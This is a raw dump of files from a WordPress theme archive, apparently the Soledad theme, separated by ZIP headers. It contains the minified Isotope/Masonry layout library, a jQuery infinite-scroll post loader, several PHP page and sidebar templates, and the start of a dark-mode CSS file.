i.defaults=n.extend({},s.defaults),n.extend(i.defaults,e),i.compatOptions=n.extend({},s.compatOptions),i.namespace=t,i.data=s.data,i.Item=r(o),n.htmlInit(i,t),h&&h.bridget&&h.bridget(t,i),i};var m={ms:1,s:1e3};return s.Item=o,s}),function(t,e){"function"==typeof define&&define.amd?define("isotope/js/item",["outlayer/outlayer"],e):"object"==typeof module&&module.exports?module.exports=e(require("outlayer")):(t.Isotope=t.Isotope||{},t.Isotope.Item=e(t.Outlayer))}(window,function(t){"use strict";function e(){t.Item.apply(this,arguments)}var i=e.prototype=Object.create(t.Item.prototype),n=i._create;i._create=function(){this.id=this.layout.itemGUID++,n.call(this),this.sortData={}},i.updateSortData=function(){if(!this.isIgnored){this.sortData.id=this.id,this.sortData["original-order"]=this.id,this.sortData.random=Math.random();var t=this.layout.options.getSortData,e=this.layout._sorters;for(var i in t){var n=e[i];this.sortData[i]=n(this.element,this)}}};var o=i.destroy;return i.destroy=function(){o.apply(this,arguments),this.css({display:""})},e}),function(t,e){"function"==typeof define&&define.amd?define("isotope/js/layout-mode",["get-size/get-size","outlayer/outlayer"],e):"object"==typeof module&&module.exports?module.exports=e(require("get-size"),require("outlayer")):(t.Isotope=t.Isotope||{},t.Isotope.LayoutMode=e(t.getSize,t.Outlayer))}(window,function(t,e){"use strict";function i(t){this.isotope=t,t&&(this.options=t.options[this.namespace],this.element=t.element,this.items=t.filteredItems,this.size=t.size)}var n=i.prototype,o=["_resetLayout","_getItemLayoutPosition","_manageStamp","_getContainerSize","_getElementOffset","needsResizeLayout","_getOption"];return o.forEach(function(t){n[t]=function(){return e.prototype[t].apply(this.isotope,arguments)}}),n.needsVerticalResizeLayout=function(){var e=t(this.isotope.element),i=this.isotope.size&&e;return i&&e.innerHeight!=this.isotope.size.innerHeight},n._getMeasurement=function(){this.isotope._getMeasurement.apply(this,arguments)},n.getColumnWidth=function(){this.getSegmentSize("column","Width")},n.getRowHeight=function(){this.getSegmentSize("row","Height")},n.getSegmentSize=function(t,e){var i=t+e,n="outer"+e;if(this._getMeasurement(i,n),!this[i]){var o=this.getFirstItemSize();this[i]=o&&o[n]||this.isotope.size["inner"+e]}},n.getFirstItemSize=function(){var e=this.isotope.filteredItems[0];return e&&e.element&&t(e.element)},n.layout=function(){this.isotope.layout.apply(this.isotope,arguments)},n.getSize=function(){this.isotope.getSize(),this.size=this.isotope.size},i.modes={},i.create=function(t,e){function o(){i.apply(this,arguments)}return o.prototype=Object.create(n),o.prototype.constructor=o,e&&(o.options=e),o.prototype.namespace=t,i.modes[t]=o,o},i}),function(t,e){"function"==typeof define&&define.amd?define("masonry/masonry",["outlayer/outlayer","get-size/get-size"],e):"object"==typeof module&&module.exports?module.exports=e(require("outlayer"),require("get-size")):t.Masonry=e(t.Outlayer,t.getSize)}(window,function(t,e){var i=t.create("masonry");return i.compatOptions.fitWidth="isFitWidth",i.prototype._resetLayout=function(){this.getSize(),this._getMeasurement("columnWidth","outerWidth"),this._getMeasurement("gutter","outerWidth"),this.measureColumns(),this.colYs=[];for(var t=0;t<this.cols;t++)this.colYs.push(0);this.maxY=0},i.prototype.measureColumns=function(){if(this.getContainerWidth(),!this.columnWidth){var t=this.items[0],i=t&&t.element;this.columnWidth=i&&e(i).outerWidth||this.containerWidth}var n=this.columnWidth+=this.gutter,o=this.containerWidth+this.gutter,s=o/n,r=n-o%n,a=r&&1>r?"round":"floor";s=Math[a](s),this.cols=Math.max(s,1)},i.prototype.getContainerWidth=function(){var t=this._getOption("fitWidth"),i=t?this.element.parentNode:this.element,n=e(i);this.containerWidth=n&&n.innerWidth},i.prototype._getItemLayoutPosition=function(t){t.getSize();var e=t.size.outerWidth%this.columnWidth,i=e&&1>e?"round":"ceil",n=Math[i](t.size.outerWidth/this.columnWidth);n=Math.min(n,this.cols);for(var o=this._getColGroup(n),s=Math.min.apply(Math,o),r=o.indexOf(s),a={x:this.columnWidth*r,y:s},u=s+t.size.outerHeight,h=this.cols+1-o.length,d=0;h>d;d++)this.colYs[r+d]=u;return a},i.prototype._getColGroup=function(t){if(2>t)return this.colYs;for(var e=[],i=this.cols+1-t,n=0;i>n;n++){var o=this.colYs.slice(n,n+t);e[n]=Math.max.apply(Math,o)}return e},i.prototype._manageStamp=function(t){var i=e(t),n=this._getElementOffset(t),o=this._getOption("originLeft"),s=o?n.left:n.right,r=s+i.outerWidth,a=Math.floor(s/this.columnWidth);a=Math.max(0,a);var u=Math.floor(r/this.columnWidth);u-=r%this.columnWidth?0:1,u=Math.min(this.cols-1,u);for(var h=this._getOption("originTop"),d=(h?n.top:n.bottom)+i.outerHeight,l=a;u>=l;l++)this.colYs[l]=Math.max(d,this.colYs[l])},i.prototype._getContainerSize=function(){this.maxY=Math.max.apply(Math,this.colYs);var t={height:this.maxY};return this._getOption("fitWidth")&&(t.width=this._getContainerFitWidth()),t},i.prototype._getContainerFitWidth=function(){for(var t=0,e=this.cols;--e&&0===this.colYs[e];)t++;return(this.cols-t)*this.columnWidth-this.gutter},i.prototype.needsResizeLayout=function(){var t=this.containerWidth;return this.getContainerWidth(),t!=this.containerWidth},i}),function(t,e){"function"==typeof define&&define.amd?define("isotope/js/layout-modes/masonry",["../layout-mode","masonry/masonry"],e):"object"==typeof module&&module.exports?module.exports=e(require("../layout-mode"),require("masonry-layout")):e(t.Isotope.LayoutMode,t.Masonry)}(window,function(t,e){"use strict";var i=t.create("masonry"),n=i.prototype,o={_getElementOffset:!0,layout:!0,_getMeasurement:!0};for(var s in e.prototype)o[s]||(n[s]=e.prototype[s]);var r=n.measureColumns;n.measureColumns=function(){this.items=this.isotope.filteredItems,r.call(this)};var a=n._getOption;return n._getOption=function(t){return"fitWidth"==t?void 0!==this.options.isFitWidth?this.options.isFitWidth:this.options.fitWidth:a.apply(this.isotope,arguments)},i}),function(t,e){"function"==typeof define&&define.amd?define("isotope/js/layout-modes/fit-rows",["../layout-mode"],e):"object"==typeof exports?module.exports=e(require("../layout-mode")):e(t.Isotope.LayoutMode)}(window,function(t){"use strict";var e=t.create("fitRows"),i=e.prototype;return i._resetLayout=function(){this.x=0,this.y=0,this.maxY=0,this._getMeasurement("gutter","outerWidth")},i._getItemLayoutPosition=function(t){t.getSize();var e=t.size.outerWidth+this.gutter,i=this.isotope.size.innerWidth+this.gutter;0!==this.x&&e+this.x>i&&(this.x=0,this.y=this.maxY);var n={x:this.x,y:this.y};return this.maxY=Math.max(this.maxY,this.y+t.size.outerHeight),this.x+=e,n},i._getContainerSize=function(){return{height:this.maxY}},e}),function(t,e){"function"==typeof define&&define.amd?define("isotope/js/layout-modes/vertical",["../layout-mode"],e):"object"==typeof module&&module.exports?module.exports=e(require("../layout-mode")):e(t.Isotope.LayoutMode)}(window,function(t){"use strict";var e=t.create("vertical",{horizontalAlignment:0}),i=e.prototype;return i._resetLayout=function(){this.y=0},i._getItemLayoutPosition=function(t){t.getSize();var e=(this.isotope.size.innerWidth-t.size.outerWidth)*this.options.horizontalAlignment,i=this.y;return this.y+=t.size.outerHeight,{x:e,y:i}},i._getContainerSize=function(){return{height:this.y}},e}),function(t,e){"function"==typeof define&&define.amd?define(["outlayer/outlayer","get-size/get-size","desandro-matches-selector/matches-selector","fizzy-ui-utils/utils","isotope/js/item","isotope/js/layout-mode","isotope/js/layout-modes/masonry","isotope/js/layout-modes/fit-rows","isotope/js/layout-modes/vertical"],function(i,n,o,s,r,a){return e(t,i,n,o,s,r,a)}):"object"==typeof module&&module.exports?module.exports=e(t,require("outlayer"),require("get-size"),require("desandro-matches-selector"),require("fizzy-ui-utils"),require("isotope/js/item"),require("isotope/js/layout-mode"),require("isotope/js/layout-modes/masonry"),require("isotope/js/layout-modes/fit-rows"),require("isotope/js/layout-modes/vertical")):t.Isotope=e(t,t.Outlayer,t.getSize,t.matchesSelector,t.fizzyUIUtils,t.Isotope.Item,t.Isotope.LayoutMode)}(window,function(t,e,i,n,o,s,r){function a(t,e){return function(i,n){for(var o=0;o<t.length;o++){var s=t[o],r=i.sortData[s],a=n.sortData[s];if(r>a||a>r){var u=void 0!==e[s]?e[s]:e,h=u?1:-1;return(r>a?1:-1)*h}}return 0}}var u=t.jQuery,h=String.prototype.trim?function(t){return t.trim()}:function(t){return t.replace(/^\s+|\s+$/g,"")},d=e.create("isotope",{layoutMode:"masonry",isJQueryFiltering:!0,sortAscending:!0});d.Item=s,d.LayoutMode=r;var l=d.prototype;l._create=function(){this.itemGUID=0,this._sorters={},this._getSorters(),e.prototype._create.call(this),this.modes={},this.filteredItems=this.items,this.sortHistory=["original-order"];for(var t in r.modes)this._initLayoutMode(t)},l.reloadItems=function(){this.itemGUID=0,e.prototype.reloadItems.call(this)},l._itemize=function(){for(var t=e.prototype._itemize.apply(this,arguments),i=0;i<t.length;i++){var n=t[i];n.id=this.itemGUID++}return this._updateItemsSortData(t),t},l._initLayoutMode=function(t){var e=r.modes[t],i=this.options[t]||{};this.options[t]=e.options?o.extend(e.options,i):i,this.modes[t]=new e(this)},l.layout=function(){return!this._isLayoutInited&&this._getOption("initLayout")?void this.arrange():void this._layout()},l._layout=function(){var t=this._getIsInstant();this._resetLayout(),this._manageStamps(),this.layoutItems(this.filteredItems,t),this._isLayoutInited=!0},l.arrange=function(t){this.option(t),this._getIsInstant();var e=this._filter(this.items);this.filteredItems=e.matches,this._bindArrangeComplete(),this._isInstant?this._noTransition(this._hideReveal,[e]):this._hideReveal(e),this._sort(),this._layout()},l._init=l.arrange,l._hideReveal=function(t){this.reveal(t.needReveal),this.hide(t.needHide)},l._getIsInstant=function(){var t=this._getOption("layoutInstant"),e=void 0!==t?t:!this._isLayoutInited;return this._isInstant=e,e},l._bindArrangeComplete=function(){function t(){e&&i&&n&&o.dispatchEvent("arrangeComplete",null,[o.filteredItems])}var e,i,n,o=this;this.once("layoutComplete",function(){e=!0,t()}),this.once("hideComplete",function(){i=!0,t()}),this.once("revealComplete",function(){n=!0,t()})},l._filter=function(t){var e=this.options.filter;e=e||"*";for(var i=[],n=[],o=[],s=this._getFilterTest(e),r=0;r<t.length;r++){var a=t[r];if(!a.isIgnored){var u=s(a);u&&i.push(a),u&&a.isHidden?n.push(a):u||a.isHidden||o.push(a)}}return{matches:i,needReveal:n,needHide:o}},l._getFilterTest=function(t){return u&&this.options.isJQueryFiltering?function(e){return u(e.element).is(t)}:"function"==typeof t?function(e){return t(e.element)}:function(e){return n(e.element,t)}},l.updateSortData=function(t){var e;t?(t=o.makeArray(t),e=this.getItems(t)):e=this.items,this._getSorters(),this._updateItemsSortData(e)},l._getSorters=function(){var t=this.options.getSortData;for(var e in t){var i=t[e];this._sorters[e]=f(i)}},l._updateItemsSortData=function(t){for(var e=t&&t.length,i=0;e&&e>i;i++){var n=t[i];n.updateSortData()}};var f=function(){function t(t){if("string"!=typeof t)return t;var i=h(t).split(" "),n=i[0],o=n.match(/^\[(.+)\]$/),s=o&&o[1],r=e(s,n),a=d.sortDataParsers[i[1]];
return t=a?function(t){return t&&a(r(t))}:function(t){return t&&r(t)}}function e(t,e){return t?function(e){return e.getAttribute(t)}:function(t){var i=t.querySelector(e);return i&&i.textContent}}return t}();d.sortDataParsers={parseInt:function(t){return parseInt(t,10)},parseFloat:function(t){return parseFloat(t)}},l._sort=function(){var t=this.options.sortBy;if(t){var e=[].concat.apply(t,this.sortHistory),i=a(e,this.options.sortAscending);this.filteredItems.sort(i),t!=this.sortHistory[0]&&this.sortHistory.unshift(t)}},l._mode=function(){var t=this.options.layoutMode,e=this.modes[t];if(!e)throw new Error("No layout mode: "+t);return e.options=this.options[t],e},l._resetLayout=function(){e.prototype._resetLayout.call(this),this._mode()._resetLayout()},l._getItemLayoutPosition=function(t){return this._mode()._getItemLayoutPosition(t)},l._manageStamp=function(t){this._mode()._manageStamp(t)},l._getContainerSize=function(){return this._mode()._getContainerSize()},l.needsResizeLayout=function(){return this._mode().needsResizeLayout()},l.appended=function(t){var e=this.addItems(t);if(e.length){var i=this._filterRevealAdded(e);this.filteredItems=this.filteredItems.concat(i)}},l.prepended=function(t){var e=this._itemize(t);if(e.length){this._resetLayout(),this._manageStamps();var i=this._filterRevealAdded(e);this.layoutItems(this.filteredItems),this.filteredItems=i.concat(this.filteredItems),this.items=e.concat(this.items)}},l._filterRevealAdded=function(t){var e=this._filter(t);return this.hide(e.needHide),this.reveal(e.matches),this.layoutItems(e.matches,!0),e.matches},l.insert=function(t){var e=this.addItems(t);if(e.length){var i,n,o=e.length;for(i=0;o>i;i++)n=e[i],this.element.appendChild(n.element);var s=this._filter(e).matches;for(i=0;o>i;i++)e[i].isLayoutInstant=!0;for(this.arrange(),i=0;o>i;i++)delete e[i].isLayoutInstant;this.reveal(s)}};var c=l.remove;return l.remove=function(t){t=o.makeArray(t);var e=this.getItems(t);c.call(this,t);for(var i=e&&e.length,n=0;i&&i>n;n++){var s=e[n];o.removeFrom(this.filteredItems,s)}},l.shuffle=function(){for(var t=0;t<this.items.length;t++){var e=this.items[t];e.sortData.random=Math.random()}this.options.sortBy="random",this._sort(),this._layout()},l._noTransition=function(t,e){var i=this.options.transitionDuration;this.options.transitionDuration=0;var n=t.apply(this,e);return this.options.transitionDuration=i,n},l.getFilteredItemElements=function(){return this.filteredItems.map(function(t){return t.element})},d});PK     N\0      js/more-post-scroll-bg.jsnu [        jQuery(document).ready(function ($) {
    var bgajax_more_scroll = function () {
        if (!$('.penci-bgajax-more-scroll .penci-ajax-more-button').length) {
            return;
        }
        $('.penci-bgajax-more-scroll .penci-ajax-more-button').each(function () {
            var $this_scroll = $(this);
            $(window).on('scroll', $this_scroll, function () {
                var hT = $this_scroll.offset().top,
                    hH = $this_scroll.outerHeight(),
                    wH = $(window).height(),
                    wS = $(this).scrollTop();

                if ((wS > (hT + hH - wH)) && $this_scroll.length) {
                    if (!$this_scroll.hasClass('loading-posts')) {
                        var settings = $this_scroll.data('settings'),
                            layout = $this_scroll.data('layout'),
                            mes = $this_scroll.data('mes'),
                            query_type = $this_scroll.data('query_type'),
                            archivetype = $this_scroll.data('archivetype'),
                            archivevalue = $this_scroll.data('archivevalue'),
                            arppp = $this_scroll.data('arppp'),
                            cat = $this_scroll.data('cat'),
                            tag = $this_scroll.data('tag'),
                            author = $this_scroll.data('author'),
                            pagednum = $this_scroll.attr('data-pagednum');

                        $this_scroll.addClass('loading-posts');

                        var data = {
                            action: 'penci_bgmore_post_ajax',
                            settings: settings,
                            layout: layout,
                            pagednum: pagednum,
                            archivetype: archivetype,
                            archivevalue: archivevalue,
                            query_type: query_type,
                            arppp: arppp,
                            cat: cat,
                            tag: tag,
                            author: author,
                            scroll: true,
                            nonce: pc_bgajax_more_scroll.nonce,
                        };


                        $.ajax({
                            type: "POST",
                            dataType: "html",
                            url: ajax_var_more.url,
                            data: data,
                            success: function (data) {
                                if (data) {
                                    var data_paded = parseInt(pagednum) + 1,
                                        $wrap_content = $this_scroll.parent().parent().find('.penci-biggrid-data');

                                    $this_scroll.attr('data-pagednum', data_paded);

                                    if (layout === 'style-2') {
                                        var $data = $(data);
                                        $wrap_content.append($data).isotope('appended', $data).imagesLoaded(function () {
                                            $wrap_content.isotope('layout');
                                        });

                                        if ($().easyPieChart) {
                                            $('.penci-piechart').each(function () {
                                                var $this = $(this);
                                                $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                                    var chart_args = {
                                                        barColor: $this.data('color'),
                                                        trackColor: $this.data('trackcolor'),
                                                        scaleColor: false,
                                                        lineWidth: $this.data('thickness'),
                                                        size: $this.data('size'),
                                                        animate: 1000
                                                    };
                                                    $this.easyPieChart(chart_args);
                                                }); // bind inview
                                            }); // each
                                        }

                                        //lazySizes.init();

                                    } else {
                                        var $data = $(data);
                                        if (layout === 'style-1') {
                                            $wrap_content.append($data);
                                        } else {
                                            $wrap_content.parent().append($data);
                                        }

                                        //lazySizes.init();

                                        if ($().easyPieChart) {
                                            $('.penci-piechart').each(function () {
                                                var $this = $(this);
                                                $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                                    var chart_args = {
                                                        barColor: $this.data('color'),
                                                        trackColor: $this.data('trackcolor'),
                                                        scaleColor: false,
                                                        lineWidth: $this.data('thickness'),
                                                        size: $this.data('size'),
                                                        animate: 1000
                                                    };
                                                    $this.easyPieChart(chart_args);
                                                }); // bind inview
                                            }); // each
                                        }
                                    }

                                    if ($().theiaStickySidebar) {
                                        var top_margin = 90;
                                        if ($('body').hasClass('admin-bar')) {
                                            top_margin = 122;
                                        }
                                        $('#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar').theiaStickySidebar({
                                            // settings
                                            additionalMarginTop: top_margin
                                        });
                                    } // if sticky

                                    $this_scroll.removeClass('loading-posts');
                                    $(document).trigger('penci_bf_check');

                                } else {
                                    $this_scroll.find(".ajax-more-text").text(mes);
                                    $this_scroll.find("i").remove();
                                    $this_scroll.removeClass('loading-posts');
                                    setTimeout(function () {
                                        $this_scroll.parent().remove();
                                    }, 1200);
                                }
                            },
                            error: function (jqXHR, textStatus, errorThrown) {
                                console.log(jqXHR + " :: " + textStatus + " :: " + errorThrown);
                            }

                        });
                    }
                }
            });
        });
    }

    bgajax_more_scroll();
    $(document).on('bgajax_loaded', function () {
        bgajax_more_scroll();
    });
});
PK     N\խ    
  footer.phpnu [        <?php
if ( isset( $_SERVER['HTTP_X_PJAX'] ) && $_SERVER['HTTP_X_PJAX'] === 'true' ) {
	return;
}
$render = true;

if ( is_customize_preview() && strpos( $_SERVER['HTTP_REFERER'], 'customize_amp=1' ) !== false ) {
	$render = false;
}

if ( defined( 'IFRAME_REQUEST' ) ) {
	$render = false;
}

if ( isset( $_REQUEST['customize_amp'] ) && $_REQUEST['customize_amp'] ) {
	$render = false;
}

if ( function_exists( 'elementor_location_exits' ) && elementor_location_exits( 'footer', true ) ) {
	$render = false;
}

if ( is_page_template( 'elementor_canvas' ) ) {
	$render = false;
}

if ( $render ) {
	get_template_part( 'template-parts/footer/footer' );
}
wp_footer(); ?>
</body>
</html>PK     N\7~      content-classic-grid.phpnu [        <?php
/**
 * Template loop for 1st standard then grid
 */


/**
 * Create var $jj to count order posts
 * If $jj = 1, to show standard post, $jj > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $jj ) ) { $jj = 1; } else { $jj = $jj; }

if ( $jj == 1 ) {
	//get_template_part( 'content', 'classic' );
	include( locate_template( 'content-classic.php' ) );
}
else {
	include( locate_template( 'content-grid.php' ) );
}

$jj++;
?>

PK     N\wYSv  v    page-fullwidth.phpnu [        <?php
/**
 * Template Name: Page Full Width
 * Description: Display content for the homepage.
 *
 */

get_header(); ?>
	<div class="container-single-page container-default-page">
		<div id="main" class="penci-main-single-page-default">
			<?php
			while ( have_posts() ) : the_post();
				the_content();
			endwhile;
			?>
		</div>
	</div><!-- ooo -->
<?php get_footer(); ?>PK     N\%  %    sidebar-bbpress.phpnu [        <?php
/**
 * Main sidebar of Soledad theme
 * Display all widgets on right sidebar
 *
 * @package Wordpress
 * @since   1.0
 */
$heading_title       = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
$heading_align       = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';
$sidebar_style       = get_theme_mod( 'penci_sidebar_style' ) ? get_theme_mod( 'penci_sidebar_style' ) : '';
$sidebar_icon_pos    = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
$sidebar_icon_design = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';
?>

<div id="sidebar"
     class="penci-sidebar-content <?php echo esc_attr( $heading_title . ' ' . $heading_align . ' ' . $sidebar_style . ' ' . $sidebar_icon_pos . ' ' . $sidebar_icon_design ); ?><?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): echo ' penci-sticky-sidebar'; endif; ?>">
    <div class="theiaStickySidebar">
		<?php
		if ( is_active_sidebar( 'penci-bbpress' ) ) {
			dynamic_sidebar( 'penci-bbpress' );
		} elseif ( is_active_sidebar( 'main-sidebar' ) ) {
			dynamic_sidebar( 'main-sidebar' );
		}
		?>
    </div>
</div>
PK     N\:c c   dark.cssnu [        body.pcdm-enable {
    --pcwc_ckout_inner_bg: var(--pcbg-l-cl);
    --pcl_btn_group_bg_color: var(--pcbg-l-cl);
    --pcl_btn_group_bg_hv_color: var(--pcaccent-cl);
    --pcl_6_bg_cl: var(--pcbg-l-cl);
    --pchb-main-menu-cl: var(--pcbg-l-cl);
    --pchb-second-menu-cl: var(--pctext-cl);
}
body.pcdm-loading,
body.pcdm-loading * {
    transition: none !important;
    transition-delay: unset !important;
}
/* Customizer Overwritten Color*/
body.pcdm-enable.pcdark-mode .pccatds-filled .cat > a.penci-cat-name {
    color: var(--pcaccent-cl);
    background-color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .pccatds-filled .cat > a.penci-cat-name:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #header .inner-header,
body.pcdm-enable.pcdark-mode .pccatds-filled .cat > a.penci-cat-name:hover {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode.penci-body-boxed {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-page-header h1 {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .tags-share-box.hide-tags.page-share .share-title {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .tags-share-box.hide-tags.page-share .post-share a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .tags-share-box.hide-tags.page-share .post-share a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .error-image:after {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .error-404 .sub-heading-text-404 {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .error-404 form.pc-searchform input.search-input {
    color: var(--pctext-cl);
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .error-404 form.pc-searchform input.search-input::-webkit-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .error-404 form.pc-searchform input.search-input:-ms-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .error-404 form.pc-searchform input.search-input::placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .error-404 .go-back-home a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .post-entry .wp-block-quote,
body.pcdm-enable.pcdark-mode .wpb_text_column .wp-block-quote,
body.pcdm-enable.pcdark-mode .woocommerce .page-description .wp-block-quote {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-single-style-7:not(.penci-single-pheader-noimg).penci_sidebar #main article.post,
body.pcdm-enable.pcdark-mode .penci-single-style-3:not(.penci-single-pheader-noimg).penci_sidebar #main article.post {
    background-color: var(--pcbg-cl);
}
@media only screen and (max-width: 767px) {
    body.pcdm-enable.pcdark-mode .standard-post-special_wrapper {
        background: var(--pcbg-cl);
    }
}
body.pcdm-enable.pcdark-mode .wrapper-boxed,
body.pcdm-enable.pcdark-mode .wrapper-boxed.enable-boxed,
body.pcdm-enable.pcdark-mode .home-pupular-posts-title span,
body.pcdm-enable.pcdark-mode .penci-post-box-meta.penci-post-box-grid .penci-post-share-box,
body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button,
body.pcdm-enable.pcdark-mode .woocommerce .woocommerce-product-search input[type="search"],
body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li.featured-news2 .side-item .side-item-text,
body.pcdm-enable.pcdark-mode .widget select,
body.pcdm-enable.pcdark-mode .widget select option,
body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-error,
body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-info,
body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-message,
body.pcdm-enable.pcdark-mode #penci-demobar,
body.pcdm-enable.pcdark-mode #penci-demobar .style-toggle {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-grid .list-post.list-boxed-post .item > .thumbnail:before {
    border-right-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-grid .list-post.list-boxed-post:nth-of-type(2n+2) .item > .thumbnail:before {
    border-left-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode #main #bbpress-forums .bbp-login-form fieldset.bbp-form select,
body.pcdm-enable.pcdark-mode #main #bbpress-forums .bbp-login-form .bbp-form input[type="password"],
body.pcdm-enable.pcdark-mode #main #bbpress-forums .bbp-login-form .bbp-form input[type="text"],
body.pcdm-enable.pcdark-mode .widget ul li,
body.pcdm-enable.pcdark-mode .grid-mixed,
body.pcdm-enable.pcdark-mode .penci-post-box-meta,
body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button,
body.pcdm-enable.pcdark-mode .widget-social a i,
body.pcdm-enable.pcdark-mode .penci-home-popular-posts,
body.pcdm-enable.pcdark-mode .header-header-1.has-bottom-line,
body.pcdm-enable.pcdark-mode .header-header-4.has-bottom-line,
body.pcdm-enable.pcdark-mode .header-header-7.has-bottom-line,
body.pcdm-enable.pcdark-mode .container-single .post-entry .post-tags a,
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3,
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-top,
body.pcdm-enable.pcdark-mode .tags-share-box,
body.pcdm-enable.pcdark-mode .post-author,
body.pcdm-enable.pcdark-mode .post-pagination,
body.pcdm-enable.pcdark-mode .post-related,
body.pcdm-enable.pcdark-mode .post-comments .post-title-box,
body.pcdm-enable.pcdark-mode .comments .comment,
body.pcdm-enable.pcdark-mode #respond textarea,
body.pcdm-enable.pcdark-mode .wpcf7 textarea,
body.pcdm-enable.pcdark-mode #respond input,
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=date],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=datetime],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=datetime-local],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=email],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=month],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=number],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=password],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=range],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=search],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=tel],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=text],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=time],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=url],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=week],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form select,
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form textarea,
body.pcdm-enable.pcdark-mode .wpcf7 input,
body.pcdm-enable.pcdark-mode .widget_wysija input,
body.pcdm-enable.pcdark-mode #respond h3,
body.pcdm-enable.pcdark-mode .post-password-form input[type="text"],
body.pcdm-enable.pcdark-mode .post-password-form input[type="email"],
body.pcdm-enable.pcdark-mode .post-password-form input[type="password"],
body.pcdm-enable.pcdark-mode .post-password-form input[type="number"],
body.pcdm-enable.pcdark-mode .penci-recipe,
body.pcdm-enable.pcdark-mode .penci-recipe-heading,
body.pcdm-enable.pcdark-mode .penci-recipe-ingredients,
body.pcdm-enable.pcdark-mode .penci-recipe-notes,
body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li span,
body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li a,
body.pcdm-enable.pcdark-mode #comments_pagination span,
body.pcdm-enable.pcdark-mode #comments_pagination a,
body.pcdm-enable.pcdark-mode.author .post-author,
body.pcdm-enable.pcdark-mode .tags-share-box.hide-tags.page-share,
body.pcdm-enable.pcdark-mode .penci-grid li.list-post,
body.pcdm-enable.pcdark-mode .penci-grid li.list-boxed-post-2 .content-boxed-2,
body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-post-box,
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-2 .mag-post-box.first-post,
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-10 .mag-post-box.first-post,
body.pcdm-enable.pcdark-mode .widget select,
body.pcdm-enable.pcdark-mode .widget ul ul,
body.pcdm-enable.pcdark-mode .widget input[type="text"],
body.pcdm-enable.pcdark-mode .widget input[type="email"],
body.pcdm-enable.pcdark-mode .widget input[type="date"],
body.pcdm-enable.pcdark-mode .widget input[type="number"],
body.pcdm-enable.pcdark-mode .widget input[type="search"],
body.pcdm-enable.pcdark-mode .widget .tagcloud a,
body.pcdm-enable.pcdark-mode #wp-calendar tbody td,
body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] td,
body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] th,
body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description td,
body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description th,
